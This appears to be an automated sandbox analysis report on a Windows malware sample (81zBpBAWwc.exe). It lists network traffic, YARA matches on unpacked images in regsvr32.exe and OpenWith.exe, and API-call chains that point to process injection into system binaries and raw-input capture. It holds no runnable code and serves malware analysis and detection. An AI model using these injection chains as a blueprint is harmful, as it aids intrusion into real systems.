Source: unknown	Network traffic detected: HTTP traffic on port 57557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58080
Source: unknown	Network traffic detected: HTTP traffic on port 57606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58380
Source: unknown	Network traffic detected: HTTP traffic on port 58588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58028
Source: unknown	Network traffic detected: HTTP traffic on port 57512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58153
Source: unknown	Network traffic detected: HTTP traffic on port 57452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58030
Source: unknown	Network traffic detected: HTTP traffic on port 57615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58280
Source: unknown	Network traffic detected: HTTP traffic on port 57803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58054
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58053
Source: unknown	Network traffic detected: HTTP traffic on port 57590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57803
Source: unknown	Network traffic detected: HTTP traffic on port 58128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58403 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57930
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57828
Source: unknown	Network traffic detected: HTTP traffic on port 57422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57704
Source: unknown	Network traffic detected: HTTP traffic on port 57628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57953
Source: unknown	Network traffic detected: HTTP traffic on port 57535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57904
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57903
Source: unknown	Network traffic detected: HTTP traffic on port 57493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57649
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57401
Source: unknown	Network traffic detected: HTTP traffic on port 57401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57643
Source: unknown	Network traffic detected: HTTP traffic on port 57665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57524
Source: unknown	Network traffic detected: HTTP traffic on port 57642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57645
Source: unknown	Network traffic detected: HTTP traffic on port 57499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58613
Source: unknown	Network traffic detected: HTTP traffic on port 57585 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57531
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57653
Source: unknown	Network traffic detected: HTTP traffic on port 57482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57417
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57418
Source: unknown	Network traffic detected: HTTP traffic on port 57516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57419
Source: unknown	Network traffic detected: HTTP traffic on port 57459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57540
Source: unknown	Network traffic detected: HTTP traffic on port 57619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57663
Source: unknown	Network traffic detected: HTTP traffic on port 57728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57664
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57780
Source: unknown	Network traffic detected: HTTP traffic on port 57854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57427
Source: unknown	Network traffic detected: HTTP traffic on port 57458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57548
Source: unknown	Network traffic detected: HTTP traffic on port 57601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57544

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:57391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57395 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:57479 version: TLS 1.2

Source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_c814d1ef-f

Source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_f5e78829-f

Source: Yara match	File source: 4.3.OpenWith.exe.149ea6f0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.OpenWith.exe.149ea410000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.1c680000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.OpenWith.exe.149ea410000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.1c3a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.1c680000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.1c3a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.OpenWith.exe.149ea6f0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OpenWith.exe PID: 7700, type: MEMORYSTR

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699717000 NtWriteFile,WaitForSingleObject,	0_2_00007FF699717000
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699716EE0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	0_2_00007FF699716EE0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1BDA51B4 NtQueryInformationProcess,	3_2_1BDA51B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1BDA56A8 NtQuerySystemInformation,NtQuerySystemInformation,lstrcmpiW,CloseHandle,free,	3_2_1BDA56A8
Source: C:\Windows\System32\OpenWith.exe	Code function: 4_3_00000149E99330C7 calloc,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,RtlFreeHeap,RtlFreeHeap,	4_3_00000149E99330C7
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_3_00007DF484681CE8 calloc,CreateProcessW,NtResumeThread,CloseHandle,free,	9_3_00007DF484681CE8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_3_00007DF484681958 calloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueryInformationProcess,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	9_3_00007DF484681958
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC9252C NtAcceptConnectPort,	9_2_000001C7BCC9252C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC927B8 NtAcceptConnectPort,	9_2_000001C7BCC927B8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC928B8 NtAcceptConnectPort,	9_2_000001C7BCC928B8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC9288C NtAcceptConnectPort,	9_2_000001C7BCC9288C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC929D4 NtAcceptConnectPort,	9_2_000001C7BCC929D4
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC92990 NtAcceptConnectPort,	9_2_000001C7BCC92990
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC928E8 NtAcceptConnectPort,	9_2_000001C7BCC928E8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC92C64 NtAcceptConnectPort,	9_2_000001C7BCC92C64
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC92418 NtAcceptConnectPort,	9_2_000001C7BCC92418
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_00007DF48468199C calloc,NtQueryInformationProcess,NtReadVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,	9_2_00007DF48468199C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_00007DF484681E64 CreateProcessW,NtResumeThread,CloseHandle,	9_2_00007DF484681E64
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_00007DF484692704 NtQuerySystemInformation,malloc,NtQuerySystemInformation,	9_2_00007DF484692704
Source: C:\Windows\System32\dllhost.exe	Code function: 10_2_0000021AFD2E385C NtQuerySystemInformation,	10_2_0000021AFD2E385C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 11_2_00000215F7CF2688 NtAcceptConnectPort,	11_2_00000215F7CF2688
Source: C:\Windows\System32\rekeywiz.exe	Code function: 11_2_00000215F7CF288C NtAcceptConnectPort,	11_2_00000215F7CF288C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1297000 NtWriteFile,WaitForSingleObject,	12_2_00007FF6D1297000
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1296EE0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	12_2_00007FF6D1296EE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F288C NtAcceptConnectPort,	12_2_0000022C138F288C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F2688 NtAcceptConnectPort,	12_2_0000022C138F2688

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF699716190: memcpy,DeviceIoControl,CloseHandle,CloseHandle,GetLastError,

0_2_00007FF699716190

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6997194D0	0_2_00007FF6997194D0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69971B630	0_2_00007FF69971B630
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996C2FE9	0_2_00007FF6996C2FE9
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699777AC0	0_2_00007FF699777AC0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996DBA80	0_2_00007FF6996DBA80
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699765B00	0_2_00007FF699765B00
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996D9B30	0_2_00007FF6996D9B30
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699721A40	0_2_00007FF699721A40
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69970DA50	0_2_00007FF69970DA50
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996F1B00	0_2_00007FF6996F1B00
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699723AA0	0_2_00007FF699723AA0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996C1A31	0_2_00007FF6996C1A31
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69972F960	0_2_00007FF69972F960
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69974B9B0	0_2_00007FF69974B9B0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699775CE0	0_2_00007FF699775CE0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996DDC80	0_2_00007FF6996DDC80
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69970DD00	0_2_00007FF69970DD00
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996F5CC0	0_2_00007FF6996F5CC0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699769BC0	0_2_00007FF699769BC0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69975DBE0	0_2_00007FF69975DBE0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699733B40	0_2_00007FF699733B40
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69974DEF0	0_2_00007FF69974DEF0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69970FF10	0_2_00007FF69970FF10
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69976BF20	0_2_00007FF69976BF20
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69976BDE0	0_2_00007FF69976BDE0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69974FE00	0_2_00007FF69974FE00
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699739E0B	0_2_00007FF699739E0B
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996F3DD0	0_2_00007FF6996F3DD0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6997740C0	0_2_00007FF6997740C0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69975A0E0	0_2_00007FF69975A0E0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69973C120	0_2_00007FF69973C120
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996CFF83	0_2_00007FF6996CFF83
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69974FFF0	0_2_00007FF69974FFF0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699752030	0_2_00007FF699752030
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699777FA0	0_2_00007FF699777FA0
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996F3FB7	0_2_00007FF6996F3FB7
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996E3290	0_2_00007FF6996E3290
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699777330	0_2_00007FF699777330
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF69975D160	0_2_00007FF69975D160
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996EB200	0_2_00007FF6996EB200
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699717170	0_2_00007FF699717170
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF6996DD1D0	0_2_00007FF6996DD1D0
